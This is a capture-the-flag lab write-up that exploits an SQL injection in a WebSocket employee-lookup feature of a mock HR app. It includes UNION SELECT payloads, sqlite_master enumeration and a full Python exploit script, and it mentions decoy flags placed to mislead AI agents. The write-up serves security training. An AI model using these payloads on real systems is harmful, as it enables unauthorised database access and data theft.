Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup
Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: column_count_matching, decoy_flag_identification, sqlite_master_enumeration, union_based_injection, websocket_sqli
Summary
Walkthrough of the CUSTOM Web Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup. Task: TeamPulse HR platform with WebSocket-based employee lookup vulnerable to SQL injection via unparameterized employeeID field in SQLite. Solution: UNION-based SQLi through WebSocket to enumerate s
Description
TeamPulse is an internal HR and workforce analytics platform developed by PulseWare Solutions. The application provides employee directory management, department overviews, company announcements, and workforce reporting. The platform features a real-time employee lookup system powered by WebSocket connections. The objective is to find and exploit a SQL injection vulnerability in the WebSocket-based employee lookup to extract a hidden flag from the database.
TeamPulse is an Express.js web application behind nginx/1.25.5 reverse proxy, using SQLite as its database. The app has multiple pages (Dashboard, Directory, Departments, Announcements, Reports) and a real-time employee lookup feature on the Directory page that communicates via WebSocket. The goal is to exploit a SQL injection in the WebSocket employee lookup to extract a hidden flag from the database.
Analysis
Application Reconnaissance
After logging in with user@test.com / password123, the application exposes the following pages:
/— Dashboard/directory— Employee Directory (with WebSocket lookup)/departments— Department overview/announcements— Company announcements/reports— Workforce reports
WebSocket Protocol
The /directory page loads /js/directory.js which establishes a WebSocket connection to wss://<host>/ws/directory. Messages follow a simple JSON protocol:
json read-only • copy allowed{"action": "lookup", "employeeID": "<input>"}
The server responds with employee data in a JSON object containing fields: id, name, email, role, hire_date, salary_band, phone, status, department.
Decoy Flags (Anti-Bot Honeypot)
Every page contains HTML comments with a fake flag:
html read-only • copy allowed<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
These are designed to trick AI agents and automated scanners into reporting a false flag. They were correctly identified and ignored.
SQL Injection Vector
The employeeID parameter is concatenated directly into a SQL query without parameterization, making it vulnerable to classic SQL injection. The backend uses SQLite, which allows UNION SELECT and querying sqlite_master for schema enumeration.
Solution
Step 1: Authentication and WebSocket Connection
python read-only • copy allowedimport json, ssl, requests, websocket BASE = "https://<host>.labs.hackadvisor.io" WS_URL = "wss://<host>.labs.hackadvisor.io/ws/directory" session = requests.Session() session.verify = False session.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) cookie = session.cookies.get("connect.sid") def ws_send(payload): ws = websocket.create_connection( WS_URL, cookie=f"connect.sid={cookie}", sslopt={"cert_reqs": ssl.CERT_NONE} ) msg = json.dumps({"action": "lookup", "employeeID": payload}) ws.send(msg) result = ws.recv() ws.close() return json.loads(result)
Step 2: Determine Column Count
Tested UNION SELECT with increasing null columns from 1 to 11. The query succeeded at 9 columns, matching the employee table schema (id, name, email, role, hire_date, salary_band, phone, status, department):
python read-only • copy allowedfor cols in range(1, 12): payload = f"0 UNION SELECT {','.join(['null']*cols)}--" r = ws_send(payload) if r.get('type') != 'error': print(f"Column count = {cols}") break # Result: Column count = 9
Step 3: Enumerate Tables via sqlite_master
python read-only • copy allowedpayload = "0 UNION SELECT name,type,sql,sql,sql,sql,sql,sql,sql FROM sqlite_master WHERE type='table'--" r = ws_send(payload)
Found 6 tables:
users— application user accountssqlite_sequence— auto-increment trackingdepartments— department dataemployees— employee directoryannouncements— company announcementssystem_config— suspicious configuration table (likely contains the flag)
Step 4: Discover system_config Schema
python read-only • copy allowedpayload = "0 UNION SELECT sql,sql,sql,sql,sql,sql,sql,sql,sql FROM sqlite_master WHERE name='system_config'--" r = ws_send(payload)
Schema: CREATE TABLE system_config (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT UNIQUE NOT NULL, value TEXT NOT NULL)
Step 5: Extract the Flag
The key column name is a reserved SQL keyword, requiring backtick quoting:
python read-only • copy allowedpayload = "0 UNION SELECT id,`key`,value,value,value,value,value,value,value FROM system_config--" r = ws_send(payload)
Result: A row with key='internal_flag' containing the flag value.
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """WebSocket SQL Injection exploit for TeamPulse — full chain""" import json import ssl import requests import websocket BASE = "https://<host>.labs.hackadvisor.io" WS_URL = "wss://<host>.labs.hackadvisor.io/ws/directory" # Step 1: Authenticate session = requests.Session() session.verify = False session.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=False) cookie = session.cookies.get("connect.sid") print(f"[+] Got session cookie: {cookie[:30]}...") def ws_send(payload): """Send a lookup request via WebSocket and return the response""" ws = websocket.create_connection( WS_URL, cookie=f"connect.sid={cookie}", sslopt={"cert_reqs": ssl.CERT_NONE} ) msg = json.dumps({"action": "lookup", "employeeID": payload}) ws.send(msg) result = ws.recv() ws.close() return json.loads(result) # Step 2: Find column count print("[*] Determining column count...") for cols in range(1, 12): payload = f"0 UNION SELECT {','.join(['null']*cols)}--" r = ws_send(payload) if r.get('type') != 'error': print(f"[+] Column count = {cols}") break # Step 3: Enumerate tables print("[*] Enumerating tables...") payload = ("0 UNION SELECT group_concat(name,'|||'),null,null,null," "null,null,null,null,null FROM sqlite_master WHERE type='table'--") r = ws_send(payload) tables = r['data'][0]['id'] print(f"[+] Tables: {tables}") # Step 4: Get system_config schema print("[*] Getting system_config schema...") payload = ("0 UNION SELECT sql,sql,sql,sql,sql,sql,sql,sql,sql " "FROM sqlite_master WHERE name='system_config'--") r = ws_send(payload) print(f"[+] Schema: {r['data'][0]['id']}") # Step 5: Extract flag print("[*] Extracting flag from system_config...") payload = ("0 UNION SELECT id,`key`,value,value,value,value," "value,value,value FROM system_config--") r = ws_send(payload) for row in r['data']: print(f"[+] key={row['name']}, value={row['email']}") if 'FLAG' in str(row['email']): print(f"\n[!] FLAG FOUND: {row['email']}")
Key Takeaways / Lessons
- Mastering column_count_matching, decoy_flag_identification, sqlite_master_enumeration, union_based_injection, websocket_sqli was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 53 — TeamPulse — SQL Injection via WebSocket Employee Lookup • Difficulty: Medium